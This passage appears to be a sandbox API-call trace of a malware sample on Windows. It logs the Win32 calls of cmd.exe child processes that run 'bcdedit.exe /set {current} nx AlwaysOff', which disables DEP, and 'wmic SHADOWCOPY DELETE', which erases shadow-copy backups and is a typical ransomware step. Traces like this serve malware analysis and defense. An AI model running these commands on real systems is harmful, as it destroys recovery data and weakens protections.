(_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0087.320] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0087.320] GetProcessHeap () returned 0x247535a0000 [0087.320] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a1880) returned 1 [0087.320] GetProcessHeap () returned 0x247535a0000 [0087.320] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x12) returned 0x247535a8850 [0087.320] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1 [0087.321] _get_osfhandle (_FileHandle=1) returned 0xc [0087.321] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0087.361] _get_osfhandle (_FileHandle=0) returned 0x8 [0087.361] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1f7) returned 1 [0087.368] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit.exe /set {current} nx AlwaysOff", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x5b595dedc0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit.exe /set {current} nx AlwaysOff", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x5b595ded98 | out: lpCommandLine="bcdedit.exe /set {current} nx AlwaysOff", lpProcessInformation=0x5b595ded98*(hProcess=0x9c, hThread=0x98, dwProcessId=0x46c, dwThreadId=0xf60)) returned 1 [0090.178] CloseHandle (hObject=0x98) returned 1 [0090.178] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0090.178] GetProcessHeap () returned 0x247535a0000 [0090.178] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a9400) returned 1 [0090.178] GetEnvironmentStringsW () returned 0x247535a9400* [0090.178] GetProcessHeap () returned 0x247535a0000 [0090.178] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb7e) returned 0x247535a5ec0 [0090.178] FreeEnvironmentStringsA (penv="=") returned 1 [0090.178] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0091.414] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x5b595ded18 | out: lpExitCode=0x5b595ded18*=0x0) returned 1 [0091.414] CloseHandle (hObject=0x9c) returned 1 [0091.414] _vsnwprintf (in: _Buffer=0x5b595deee8, _BufferCount=0x13, _Format="%08X", _ArgList=0x5b595ded28 | out: _Buffer="00000000") returned 8 [0091.414] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0091.414] GetProcessHeap () returned 0x247535a0000 [0091.414] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a5ec0) returned 1 [0091.414] GetEnvironmentStringsW () returned 0x247535a8870* [0091.414] GetProcessHeap () returned 0x247535a0000 [0091.414] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xba4) returned 0x247535b9ff0 [0091.415] FreeEnvironmentStringsA (penv="=") returned 1 [0091.415] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.415] GetProcessHeap () returned 0x247535a0000 [0091.415] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535b9ff0) returned 1 [0091.415] GetEnvironmentStringsW () returned 0x247535a8870* [0091.415] GetProcessHeap () returned 0x247535a0000 [0091.415] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xba4) returned 0x247535b9ff0 [0091.416] FreeEnvironmentStringsA (penv="=") returned 1 [0091.416] GetProcessHeap () returned 0x247535a0000 [0091.416] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a8850) returned 1 [0091.416] DeleteProcThreadAttributeList (in: lpAttributeList=0x5b595deea0 | out: lpAttributeList=0x5b595deea0) [0091.416] ??_V@YAXPEAX@Z () returned 0x1 [0091.416] _get_osfhandle (_FileHandle=1) returned 0xc [0091.416] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0091.418] _get_osfhandle (_FileHandle=1) returned 0xc [0091.418] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0091.419] _get_osfhandle (_FileHandle=1) returned 0xc [0091.420] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0091.421] _get_osfhandle (_FileHandle=0) returned 0x8 [0091.421] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0091.423] SetConsoleInputExeNameW () returned 0x1 [0091.424] GetConsoleOutputCP () returned 0x1b5 [0091.427] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0091.427] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.455] exit (_Code=0) Thread: id = 19 os_tid = 0xce8 Process: id = "8" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x67b1000" os_pid = "0x9b0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 17 os_tid = 0x9fc [0086.539] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.539] __set_app_type (_Type=0x1) [0086.539] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.540] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.540] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.540] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.540] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.540] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.540] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.541] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.541] GetCurrentThreadId () returned 0x9fc [0086.541] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9fc) returned 0x7c [0086.541] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.541] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.541] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.883] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.883] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cfabdfbf8 | out: phkResult=0x3cfabdfbf8*=0x0) returned 0x2 [0086.883] VirtualQuery (in: lpAddress=0x3cfabdfbe4, lpBuffer=0x3cfabdfb60, dwLength=0x30 | out: lpBuffer=0x3cfabdfb60*(BaseAddress=0x3cfabdf000, AllocationBase=0x3cfaae0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.883] VirtualQuery (in: lpAddress=0x3cfaae0000, lpBuffer=0x3cfabdfb60, dwLength=0x30 | out: lpBuffer=0x3cfabdfb60*(BaseAddress=0x3cfaae0000, AllocationBase=0x3cfaae0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.883] VirtualQuery (in: lpAddress=0x3cfaae1000, lpBuffer=0x3cfabdfb60, dwLength=0x30 | out: lpBuffer=0x3cfabdfb60*(BaseAddress=0x3cfaae1000, AllocationBase=0x3cfaae0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.883] VirtualQuery (in: lpAddress=0x3cfaae4000, lpBuffer=0x3cfabdfb60, dwLength=0x30 | out: lpBuffer=0x3cfabdfb60*(BaseAddress=0x3cfaae4000, AllocationBase=0x3cfaae0000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.883] VirtualQuery (in: lpAddress=0x3cfabe0000, lpBuffer=0x3cfabdfb60, dwLength=0x30 | out: lpBuffer=0x3cfabdfb60*(BaseAddress=0x3cfabe0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0086.883] GetConsoleOutputCP () returned 0x1b5 [0086.910] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.911] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.911] _get_osfhandle (_FileHandle=1) returned 0xc [0086.911] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.937] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.937] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.950] _get_osfhandle (_FileHandle=1) returned 0xc [0086.950] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.955] _get_osfhandle (_FileHandle=1) returned 0xc [0086.955] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.961] _get_osfhandle (_FileHandle=1) returned 0xc [0086.961] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.967] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.967] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.980] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.980] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.001] GetEnvironmentStringsW () returned 0x1a9adb55ac0* [0087.001] GetProcessHeap () returned 0x1a9adb50000 [0087.001] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb2e) returned 0x1a9adb56600 [0087.001] FreeEnvironmentStringsA (penv="A") returned 1 [0087.001] GetProcessHeap () returned 0x1a9adb50000 [0087.001] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x8) returned 0x1a9adb55ac0 [0087.001] GetEnvironmentStringsW () returned 0x1a9adb57140* [0087.001] GetProcessHeap () returned 0x1a9adb50000 [0087.001] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb2e) returned 0x1a9adb57c80 [0087.001] FreeEnvironmentStringsA (penv="A") returned 1 [0087.002] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cfabdeaa8 | out: phkResult=0x3cfabdeaa8*=0x88) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x4, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x1, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x1, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x0, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x40, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x40, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x40, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegCloseKey (hKey=0x88) returned 0x0 [0087.002] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cfabdeaa8 | out: phkResult=0x3cfabdeaa8*=0x88) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x40, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x1, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x1, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x0, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x9, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x4, lpData=0x3cfabdeac0*=0x9, lpcbData=0x3cfabdeaa4*=0x4) returned 0x0 [0087.002] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cfabdeaa0, lpData=0x3cfabdeac0, lpcbData=0x3cfabdeaa4*=0x1000 | out: lpType=0x3cfabdeaa0*=0x0, lpData=0x3cfabdeac0*=0x9, lpcbData=0x3cfabdeaa4*=0x1000) returned 0x2 [0087.002] RegCloseKey (hKey=0x88) returned 0x0 [0087.003] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.003] srand (_Seed=0x5ccd3bba) [0087.003] GetCommandLineW () returned="/C wmic SHADOWCOPY DELETE" [0087.003] malloc (_Size=0x4000) returned 0x1a9add455a0 [0087.003] GetCommandLineW () returned="/C wmic SHADOWCOPY DELETE" [0087.003] malloc (_Size=0xffce) returned 0x1a9add50080 [0087.004] ??_V@YAXPEAX@Z () returned 0x1a9add50080 [0087.004] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a9add50080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.004] malloc (_Size=0xffce) returned 0x1a9add60060 [0087.004] ??_V@YAXPEAX@Z () returned 0x1a9add60060 [0087.005] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a9add60060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.005] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.005] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.005] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.005] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.005] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.005] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.005] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.005] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.005] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.005] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.005] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.006] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.006] GetProcessHeap () returned 0x1a9adb50000 [0087.006] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb56600) returned 1 [0087.006] GetEnvironmentStringsW () returned 0x1a9adb55ae0* [0087.006] GetProcessHeap () returned 0x1a9adb50000 [0087.006] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb46) returned 0x1a9adb56630 [0087.006] FreeEnvironmentStringsA (penv="A") returned 1 [0087.006] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.006] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.006] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.006] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.006] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.006] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.006] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.006] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.006] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.006] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0087.006] malloc (_Size=0xffce) returned 0x1a9add70040 [0087.006] ??_V@YAXPEAX@Z () returned 0x1a9add70040 [0087.007] GetProcessHeap () returned 0x1a9adb50000 [0087.007] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x40) returned 0x1a9adb587f0 [0087.007] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a9add70040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.007] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1a9add70040, lpFilePart=0x3cfabdf620 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x3cfabdf620*="Desktop") returned 0x17 [0087.008] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.008] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3cfabdf350 | out: lpFindFileData=0x3cfabdf350*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1a9adb58840 [0087.008] FindClose (in: hFindFile=0x1a9adb58840 | out: hFindFile=0x1a9adb58840) returned 1 [0087.008] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x3cfabdf350 | out: lpFindFileData=0x3cfabdf350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1a9adb58840 [0087.008] FindClose (in: hFindFile=0x1a9adb58840 | out: hFindFile=0x1a9adb58840) returned 1 [0087.008] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x3cfabdf350 | out: lpFindFileData=0x3cfabdf350*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1a9adb58840 [0087.009] FindClose (in: hFindFile=0x1a9adb58840 | out: hFindFile=0x1a9adb58840) returned 1 [0087.009] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.009] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.009] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.009] GetProcessHeap () returned 0x1a9adb50000 [0087.009] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb56630) returned 1 [0087.009] GetEnvironmentStringsW () returned 0x1a9adb50fc0* [0087.009] GetProcessHeap () returned 0x1a9adb50000 [0087.009] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0xb7e) returned 0x1a9adb593d0 [0087.009] FreeEnvironmentStringsA (penv="=") returned 1 [0087.009] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a9add50080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.009] GetProcessHeap () returned 0x1a9adb50000 [0087.009] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb587f0) returned 1 [0087.009] ??_V@YAXPEAX@Z () returned 0x1 [0087.009] ??_V@YAXPEAX@Z () returned 0x1 [0087.009] GetProcessHeap () returned 0x1a9adb50000 [0087.009] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x4016) returned 0x1a9adb59f60 [0087.010] GetProcessHeap () returned 0x1a9adb50000 [0087.010] RtlAllocateHeap (HeapHandle=0x1a9adb50000, Flags=0x8, Size=0x42) returned 0x1a9adb587f0 [0087.010] GetProcessHeap () returned 0x1a9adb50000 [0087.010] RtlFreeHeap (HeapHandle=0x1a9adb50000, Flags=0x0, BaseAddress=0x1a9adb59f60) returned 1 [0087.010] GetConsoleOutputCP () returned 0x1b5 [0087.061] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.061] GetUserDefaultLCID () returned 0x409 [0087.062] GetLocaleInfoW (in: 